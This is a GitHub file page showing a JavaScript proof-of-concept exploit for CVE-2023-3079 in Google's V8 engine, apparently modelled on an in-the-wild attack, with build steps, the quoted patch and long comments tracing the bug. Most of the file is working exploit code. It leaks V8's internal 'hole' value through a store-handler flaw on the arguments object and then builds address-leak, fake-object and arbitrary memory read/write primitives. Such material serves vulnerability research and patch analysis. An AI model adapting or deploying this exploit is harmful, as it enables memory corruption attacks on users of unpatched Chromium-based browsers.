-
Notifications
You must be signed in to change notification settings - Fork 29
/
Copy pathexploit.js
446 lines (378 loc) · 16 KB
/
exploit.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
//CVE-2023-3079
//author: @mistymntncop
//based on the ITW exploit
//
//Shoutout to @_clem1 for finding the ITW exploit!
//
// Build d8 using:
// a) Run once
// git checkout f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c
// gclient sync --with_branch_heads //pass -f flag to force
// gn gen ./out/x64.debug
// gn gen ./out/x64.release
//
// b)
// Debug Build:
// If you run into this error: "FAILED: torque.exe torque.exe.pdb"
// please apply the patch "fix_torque_build_error.patch" with:
// git apply "C:\path\to\patch\fix_torque_build_error.patch"
//
// This patch has nothing to do with the vuln - it only fixes the torque build error.
// See: https://bugs.chromium.org/p/v8/issues/detail?id=14015
//
// ninja -C ./out/x64.debug d8
//
// Release Build:
// ninja -C ./out/x64.release d8
//
//"C:\v8\v8\out\x64.release\d8.exe" --allow-natives-syntax exploit.js
//
//Relevant source files:
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/ic/ic.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/ic/accessor-assembler.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/ic/handler-configuration-inl.h
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/codegen/code-stub-assembler.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/codegen/code-stub-assembler.h
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/builtins/builtins-handler-gen.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/builtins/builtins-ic-gen.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/interpreter/interpreter-generator.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/interpreter/bytecode-generator.cc
//https://source.chromium.org/chromium/v8/v8.git/+/f7a3499f6d7e50b227a17d2bbd96e4b59a261d3c:src/interpreter/bytecode-array-builder.cc
//
//
//
//Patch:
//https://chromium.googlesource.com/v8/v8.git/+/e144f3b71e64e01d6ffd247eb15ca1ff56f6287b
//https://chromium.googlesource.com/v8/v8.git/+/e144f3b71e64e01d6ffd247eb15ca1ff56f6287b%5E%21/#F2
//--- a/src/ic/ic.cc
//+++ b/src/ic/ic.cc
// receiver_map->has_sealed_elements() ||
// receiver_map->has_nonextensible_elements() ||
// receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
// + // TODO(jgruber): Update counter name.
// TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
// - code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
// - if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
// - return code;
// + if (receiver_map->IsJSArgumentsObjectMap() &&
// + receiver_map->has_fast_packed_elements()) {
// + // Allow fast behaviour for in-bounds stores while making it miss and
// + // properly handle the out of bounds store case.
// + code = StoreHandler::StoreFastElementBuiltin(isolate(), STANDARD_STORE);
// + } else {
// + code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
// + if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
// + return code;
// + }
const FIXED_ARRAY_HEADER_SIZE = 8n;
var arr_buf = new ArrayBuffer(8);
var f64_arr = new Float64Array(arr_buf);
var b64_arr = new BigInt64Array(arr_buf);
function ftoi(f) {
f64_arr[0] = f;
return b64_arr[0];
}
function itof(i) {
b64_arr[0] = i;
return f64_arr[0];
}
function smi(i) {
return i << 1n;
}
function gc_minor() { //scavenge
for(let i = 0; i < 1000; i++) {
new ArrayBuffer(0x10000);
}
}
function gc_major() { //mark-sweep
new ArrayBuffer(0x7fe00000);
}
//d8 --allow-natives-syntax --print-bytecode --print-bytecode-filter="set_keyed_prop" exploit.js
// Ldar a2
// SetKeyedProperty a0, a1, [0]
// LdaUndefined
// Return
//
//Bytecode Generator (SetKeyedProperty):
// BytecodeGenerator::BuildAssignment ->
// BytecodeArrayBuilder::SetKeyedProperty
//Generated Interpreter:
// IGNITION_HANDLER(SetKeyedProperty, InterpreterAssembler) ->
// CallBuiltin(Builtin::kKeyedStoreIC, ...)
//Generated Builtin:
// Builtins::Generate_KeyedStoreIC ->
// AccessorAssembler::GenerateKeyedStoreIC ->
// AccessorAssembler::KeyedStoreIC
//
function set_keyed_prop(arr, key, val) {
arr[key] = val;
}
function leak_hole() {
//let store_mode = {}; //STORE_STANDARD
let store_mode = []; //STORE_AND_GROW_HANDLE_COW
//Adds MONOMORPHIC feedback to the StoreKeyedSloppy slot
//for the arguments object
//
//Generated Builtin:
// AccessorAssembler::KeyedStoreIC ->
//IC Runtime:
// Runtime_KeyedStoreIC_Miss ->
// KeyedStoreIC::Store ->
// StoreIC::Store ->
// StoreIC::UpdateCaches ->
// IC::SetCache
const IC_WARMUP_COUNT = 10;
for(let i = 0; i < IC_WARMUP_COUNT; i++) {
set_keyed_prop(arguments, "foo", 1);
}
//%DebugPrint(set_keyed_prop); //uncomment to see the StoreKeyedSloppy slot
//Adds POLYMORPHIC feedback to the StoreKeyedSloppy slot.
//The store_mode controls which handler will be used
//the next time an object with the same map is encountered
//for the SetKeyedProperty operation.
//In this case the store_mode is computed to be STORE_AND_GROW_HANDLE_COW.
//StoreElementPolymorphicHandlers will compute a new STORE_AND_GROW_HANDLE_COW
//handler for each feedback type in the StoreKeyedSloppy slot.
//This includes the arguments type we added previously.
//
//
//Generated Builtin:
// AccessorAssembler::KeyedStoreIC ->
//IC Runtime:
// Runtime_KeyedStoreIC_Miss ->
// KeyedStoreIC::Store ->
// store_mode = GetStoreMode
// KeyedStoreIC::UpdateStoreElement ->
// KeyedStoreIC::StoreElementPolymorphicHandlers ->
// KeyedStoreIC::StoreElementHandler ->
// StoreHandler::StoreFastElementBuiltin
// return BUILTIN_CODE(isolate, StoreFastElementIC_GrowNoTransitionHandleCOW)
// ...
set_keyed_prop(store_mode, 0, 1);
//%DebugPrint(set_keyed_prop); //uncomment to see the StoreKeyedSloppy slot
//Append an element to the end of the arguments "array"
//which causes the the COW behaviour to grow the "array"
//(adds extra capacity for new elements).
//The unused elements after the length of the "array" will
//contain "the hole" value. Despite the fact the "array" contains
//"the hole" values the "array's" ElementsKind remains as PACKED_ELEMENTS
//rather than HOLEY_ELEMENTS. For JSArray's this is not a bug and is
//expected behaviour (as the name GrowNoTransitionHandleCOW suggests)
//as it is assumed that values beyond the length of the "array"
//cannot be accessed. Please note that the length and capacity of
//an array are not the same thing.
//
//Generated Builtin:
// AccessorAssembler::KeyedStoreIC ->
// AccessorAssembler::HandlePolymorphicCase ->
// AccessorAssembler::HandleStoreICHandlerCase ->
//Generated STORE_AND_GROW_HANDLE_COW handler:
// StoreFastElementIC_GrowNoTransitionHandleCOW ->
// HandlerBuiltinsAssembler::Generate_StoreFastElementIC ->
// HandlerBuiltinsAssembler::DispatchByElementsKind ->
// CodeStubAssembler::EmitElementStore ->
// CodeStubAssembler::CheckForCapacityGrow ->
// CodeStubAssembler::CheckForCapacityGrow ->
// CodeStubAssembler::TryGrowElementsCapacity ->
// CodeStubAssembler::GrowElementsCapacity
set_keyed_prop(arguments, arguments.length, 1);
//%DebugPrint(arguments); //uncomment to see PACKED_ELEMENTS and new hole values
//Generated Interpreter:
// IGNITION_HANDLER(GetKeyedProperty, InterpreterAssembler) ->
// CallBuiltin(Builtin::kKeyedLoadIC, ...)
//Generated Builtin:
// Builtins::Generate_KeyedLoadIC ->
// AccessorAssembler::GenerateKeyedLoadIC ->
// AccessorAssembler:KeyedLoadIC ->
// TailCallBuiltin(Builtin::kKeyedLoadIC_Megamorphic, ...)
//Generated Builtin:
// Builtins::Generate_KeyedLoadIC_Megamorphic ->
// AccessorAssembler::GenerateKeyedLoadIC_Megamorphic ->
// AccessorAssembler::KeyedLoadICGeneric ->
// AccessorAssembler::GenericElementLoad ->
// AccessorAssembler::EmitElementLoad ->
// AccessorAssembler::EmitFastElementsBoundsCheck ->
// CodeStubAssembler::LoadFixedArrayBaseLength
// UnsafeLoadFixedArrayElement
//
//To leak "the hole" we must survive 2 checks in EmitElementLoad.
//Namely these are 1) a check for "the hole" and 2) a bounds check.
//
//The GenericElementLoad function implements the "if_element_hole" codepath
//which converts the hole into an undefined value.
//The EmitElementLoad function only jumps to the "if_element_hole" codepath
//in the case where a HOLEY_* ElementsKind is encountered.
//In the case of an object with a PACKED_ELEMENTS
//ElementsKind the "if_fast_packed" codepath is taken and the
//"if_element_hole" codepath is avoided completely.
//
//
//The EmitFastElementsBoundsCheck function performs a bounds check on the
//given array object for the element load. It computes the length of the
//array using either LoadFastJSArrayLength or LoadFixedArrayBaseLength.
//Normally LoadFastJSArrayLength is used in the case of JSArray's.
//However, the arguments object is special and uses LoadFixedArrayBaseLength.
//(Remember that the arguments object is only an "array-like" object).
//This is important in that the length of the FixedArray is actually its full capacity.
//Compare this to a JSArray where it's length is a seperate value from it's capacity
//(length <= capacity).
//As the wrong value is used for the bounds check we can read values from the
//unused capacity of the "array" - in this case accessing "the hole" value.
let hole = arguments[arguments.length+1];
return hole;
}
const the = {};
var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0n)); //change array type to HOLEY_DOUBLE_ELEMENTS_MAP
var fake_arr = null;
var fake_arr_addr = null;
var fake_arr_elements_addr = null;
var packed_dbl_map = null;
var packed_dbl_props = null;
var packed_map = null;
var packed_props = null;
function leak_stuff(b) {
if(b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let packed_double_map_and_props = arr1.at(index*4);
let packed_double_elements_and_len = arr1.at(index*5);
let packed_map_and_props = arr1.at(index*8);
let packed_elements_and_len = arr1.at(index*9);
let fixed_arr_map = arr1.at(index*6);
let large_arr_addr = arr1.at(index*7);
return [
packed_double_map_and_props, packed_double_elements_and_len,
packed_map_and_props, packed_elements_and_len,
fixed_arr_map, large_arr_addr,
arr1, arr2
];
}
return 0;
}
function weak_fake_obj(b, addr=1.1) {
if(b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [0x1337, {}];
let arr2 = [addr, 2.2, 3.3, 4.4];
let fake_obj = arr1.at(index*8);
return [
fake_obj,
arr1, arr2
];
}
return 0;
}
function fake_obj(addr) {
large_arr[0] = itof(packed_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
large_arr[3] = itof(addr | 1n);
let result = fake_arr[0];
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
function addr_of(obj) {
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
fake_arr[0] = obj;
let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
function v8_read64(addr) {
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
let result = ftoi(fake_arr[0]);
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
function v8_write64(addr, val) {
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
fake_arr[0] = itof(val);
large_arr[1] = itof(0n | (smi(0n) << 32n));
}
function install_primitives() {
//%PrepareFunctionForOptimization(weak_fake_obj);
//weak_fake_obj(false, 1.1);
//weak_fake_obj(true, 1.1);
//%OptimizeFunctionOnNextCall(weak_fake_obj);
//weak_fake_obj(true, 1.1);
//
//%PrepareFunctionForOptimization(leak_stuff);
//leak_stuff(false);
//leak_stuff(true);
//%OptimizeFunctionOnNextCall(leak_stuff);
for(let i = 0; i < 10; i++) {
weak_fake_obj(true, 1.1);
}
for(let i = 0; i < 10000; i++) {
weak_fake_obj(false, 1.1);
}
for(let i = 0; i < 10; i++) {
leak_stuff(true);
}
for(let i = 0; i < 20000; i++) {
leak_stuff(false);
}
//%DebugPrint(install_primitives);
gc_minor();
gc_major();
let leaks = leak_stuff(true);
//%DebugPrint(leaks);
let packed_double_map_and_props = ftoi(leaks[0]);
let packed_double_elements_and_len = ftoi(leaks[1]);
packed_dbl_map = packed_double_map_and_props & 0xFFFFFFFFn;
packed_dbl_props = packed_double_map_and_props >> 32n;
let packed_dbl_elements = packed_double_elements_and_len & 0xFFFFFFFFn;
let packed_map_and_props = ftoi(leaks[2]);
let packed_elements_and_len = ftoi(leaks[3]);
packed_map = packed_map_and_props & 0xFFFFFFFFn;
packed_props = packed_map_and_props >> 32n;
let packed_elements = packed_elements_and_len & 0xFFFFFFFFn;
let fixed_arr_map = ftoi(leaks[4]) & 0xFFFFFFFFn;
let large_arr_addr = ftoi(leaks[5]) >> 32n;
let dbl_arr = leaks[6];
dbl_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
dbl_arr[1] = itof(((large_arr_addr + 8n) - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n));
let temp_fake_arr_addr = (packed_dbl_elements + FIXED_ARRAY_HEADER_SIZE)|1n;
let temp_fake_arr = weak_fake_obj(true, itof(temp_fake_arr_addr));
let large_arr_elements_addr = ftoi(temp_fake_arr[0]) & 0xFFFFFFFFn;
fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE;
fake_arr_elements_addr = fake_arr_addr + 16n;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(0n) << 32n));
large_arr[2] = itof(fixed_arr_map | (smi(0n) << 32n));
fake_arr = weak_fake_obj(true, itof(fake_arr_addr))[0];
temp_fake_arr = null;
}
//*/
function pwn() {
the.hole = leak_hole();
install_primitives();
let obj = {};
let obj_addr = addr_of(obj);
%DebugPrint(obj);
let obj2 = fake_obj(obj_addr);
%DebugPrint(obj2);
print("obj_addr = " + obj_addr.toString(16));
let map = v8_read64(obj_addr) & 0xFFFFFFFFn;
print("map = " + map.toString(16));
}
pwn();
//*/
//*/
while(true) {
let line = readline();
if(line == 'q')
break;
eval(line);
}
//*/